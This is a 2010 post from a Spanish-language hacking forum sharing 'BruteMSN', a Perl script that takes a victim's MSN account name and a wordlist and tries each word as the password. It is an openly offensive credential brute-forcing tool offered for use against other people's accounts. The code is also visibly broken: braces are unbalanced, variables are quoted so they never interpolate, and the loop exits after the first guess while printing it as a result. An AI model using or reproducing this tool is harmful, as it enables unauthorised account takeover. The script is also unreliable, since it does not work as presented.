[PERL] BruteMSN

  • 0 Respuestas
  • 1671 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ProcessKill

  • *
  • Underc0der
  • Mensajes: 154
  • Actividad:
    0%
  • Reputación 0
  • Arriba los hackers de Argentina!
    • Ver Perfil
    • Email

[PERL] BruteMSN

  • en: Febrero 24, 2010, 04:33:56 pm
Código: (perl) [Seleccionar]
#!/usr/bin/perl
system ("clear");
system ("cls");
system ("color fc");
# Re-c0de by m0x.lk
# Edit : BruteMSN .- ~HaSe & RE.
# Download Lib's.
use lib qw(./MSN/lib);
use MSN;
use strict;
use encoding "euc-jp";
print "Re-C0de by m0x.lk\n";
print "\n";
print "BruteMSN .- ~HaSe & RE.\n";
print "\n";
sleep 1;
print "Victima: ";
$victima=<STDIN>;
print "\n\n";
print "\n";
print "Diccionario: ";
$dict=<STDIN>;
print "\n\n";
open (D,"<$dict") or die "Diccionario no encontrado\n";
while(<D>)
{
$try = $_;
    chomp $try;
my $msn = MSN->new(Handle => '$victima',
                   Password => '$try');
    $counter++;
    $tiempo++;
    {
   print "$victima / $try \n";
   last;
    }
    if($counter==$fallos)
    {
}
close(D);
print "\n\n";
print "$tiempo Obtener pass";
print "\n\n";
print "c0dex by m0x.lk";
« Última modificación: Marzo 14, 2015, 09:46:27 am por Expermicid »